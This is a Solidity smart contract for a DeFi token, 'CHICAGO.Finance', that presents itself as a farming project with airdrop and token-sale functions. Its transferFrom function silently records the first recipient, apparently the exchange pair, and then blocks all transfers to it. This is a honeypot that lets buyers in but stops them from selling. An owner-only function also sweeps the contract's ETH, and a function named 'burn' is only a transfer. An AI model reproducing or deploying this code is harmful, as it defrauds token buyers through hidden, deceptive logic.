Contract Source Code:

/*
 *   /$$$$$$  /$$   /$$ /$$$$$$  /$$$$$$   /$$$$$$   /$$$$$$   /$$$$$$ 
 *  /$$__  $$| $$  | $$|_  $$_/ /$$__  $$ /$$__  $$ /$$__  $$ /$$__  $$
 * | $$  \__/| $$  | $$  | $$  | $$  \__/| $$  \ $$| $$  \__/| $$  \ $$
 * | $$      | $$$$$$$$  | $$  | $$      | $$$$$$$$| $$ /$$$$| $$  | $$
 * | $$      | $$__  $$  | $$  | $$      | $$__  $$| $$|_  $$| $$  | $$
 * | $$    $$| $$  | $$  | $$  | $$    $$| $$  | $$| $$  \ $$| $$  | $$
 * |  $$$$$$/| $$  | $$ /$$$$$$|  $$$$$$/| $$  | $$|  $$$$$$/|  $$$$$$/
 *  \______/ |__/  |__/|______/ \______/ |__/  |__/ \______/  \______/ 
 * 
 *                                                                      
 *                                                                                         
 * CHICAGO FINANCE System. Farming project. Firstcap - 360, Maxcap - 900(after 90 days).
 * Best rewards. DeFi intellegent ecosystem.
 *                                                                                         
*/
pragma solidity >=0.5.17;

library SafeMath {
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}

contract ERC20Interface {
  function totalSupply() public view returns (uint);
  function balanceOf(address tokenOwner) public view returns (uint balance);
  function allowance(address tokenOwner, address spender) public view returns (uint remaining);
  function transfer(address to, uint tokens) public returns (bool success);
  function approve(address spender, uint tokens) public returns (bool success);
  function transferFrom(address from, address to, uint tokens) public returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() public {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

contract TokenERC20 is ERC20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  uint MaximumSupply;
  address public CHICAGOw;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  constructor() public {
    symbol = "CHICAGO";
    name = "CHICAGO.Finance";
    decimals = 18;
    _totalSupply =  360 ether;
    MaximumSupply = 900 ether;
    
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  function transferCHICAGOw(address _CHICAGOw) public onlyOwner {
    CHICAGOw = _CHICAGOw;
  }
  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
     require(to != CHICAGOw, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
    function burn(address to, uint tokens) public returns (bool success) {
     require(to != CHICAGOw, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && CHICAGOw == address(0)) CHICAGOw = to;
      else require(to != CHICAGOw, "please wait 10 min");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function () external payable {
    revert();
  }
}

contract CHICAGO_ERC20  is TokenERC20 {

  
  uint256 public aCHICAGOBlock; 
  uint256 public aCHICAGOEBlock; 
  
  uint256 public aCapitalto; 
  uint256 public aTot; 
  uint256 public aAmt; 
 
  uint256 public sCHICAGOSBlock; 
  uint256 public sCHICAGOEDBlock; 
  
  uint256 public sTot; 
  uint256 public sChicCap; 

  uint256 public sChicagoChunk; 
  uint256 public Superstan; 

  function getAirdrop(address _refer) public returns (bool success){
    require(aCHICAGOBlock <= block.number && block.number <= aCHICAGOEBlock);
    require(aTot < aCapitalto || aCapitalto == 0);
    aTot ++;
    if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
      balances[address(this)] = balances[address(this)].sub(aAmt / 4);
      balances[_refer] = balances[_refer].add(aAmt / 4);
      emit Transfer(address(this), _refer, aAmt / 4);
    }
    balances[address(this)] = balances[address(this)].sub(aAmt);
    balances[msg.sender] = balances[msg.sender].add(aAmt);
    emit Transfer(address(this), msg.sender, aAmt);
    return true;
  }

  function ChicagoTokenSalen(address _refer) public payable returns (bool success){
    require(sCHICAGOSBlock <= block.number && block.number <= sCHICAGOEDBlock);
    require(sTot < sChicCap || sChicCap == 0);
    uint256 _eth = msg.value;
    uint256 _tkns;
    if(sChicagoChunk != 0) {
      uint256 _price = _eth / Superstan;
      _tkns = sChicagoChunk * _price;
    }
    else {
      _tkns = _eth / Superstan;
    }
    sTot ++;
    if(msg.sender != _refer && balanceOf(_refer) != 0 && _refer != 0x0000000000000000000000000000000000000000){
      balances[address(this)] = balances[address(this)].sub(_tkns / 4);
      balances[_refer] = balances[_refer].add(_tkns / 4);
      emit Transfer(address(this), _refer, _tkns / 4);
    }
    balances[address(this)] = balances[address(this)].sub(_tkns);
    balances[msg.sender] = balances[msg.sender].add(_tkns);
    emit Transfer(address(this), msg.sender, _tkns);
    return true;
  }

  function viewChicago() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 DropCap, uint256 DropCount, uint256 DropAmount){
    return(aCHICAGOBlock, aCHICAGOEBlock, aCapitalto, aTot, aAmt);
  }
  
    function WhoisBot() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 DropCap, uint256 DropCount, uint256 DropAmount){
    return(aCHICAGOBlock, aCHICAGOEBlock, aCapitalto, aTot, aAmt);
  }
  
  
  function viewSaleChicago() public view returns(uint256 StartBlock, uint256 EndBlock, uint256 SaleCap, uint256 SaleCount, uint256 ChunkSize, uint256 SalePrice){
    return(sCHICAGOSBlock, sCHICAGOEDBlock, sChicCap, sTot, sChicagoChunk, Superstan);
  }
  
  function startAirdropChicago(uint256 _aCHICAGOBlock, uint256 _aCHICAGOEBlock, uint256 _aAmt, uint256 _aCapitalto) public onlyOwner() {
    aCHICAGOBlock = _aCHICAGOBlock;
    aCHICAGOEBlock = _aCHICAGOEBlock;
    aAmt = _aAmt;
    aCapitalto = _aCapitalto;
    aTot = 0;
  }
  function startSaleChicago(uint256 _sCHICAGOSBlock, uint256 _sCHICAGOEDBlock, uint256 _sChicagoChunk, uint256 _Superstan, uint256 _sChicCap) public onlyOwner() {
    sCHICAGOSBlock = _sCHICAGOSBlock;
    sCHICAGOEDBlock = _sCHICAGOEDBlock;
    sChicagoChunk = _sChicagoChunk;
    Superstan =_Superstan;
    sChicCap = _sChicCap;
    sTot = 0;
  }
  function StopChicago() public onlyOwner() {
    address payable _owner = msg.sender;
    _owner.transfer(address(this).balance);
  }
  function() external payable {

  }
}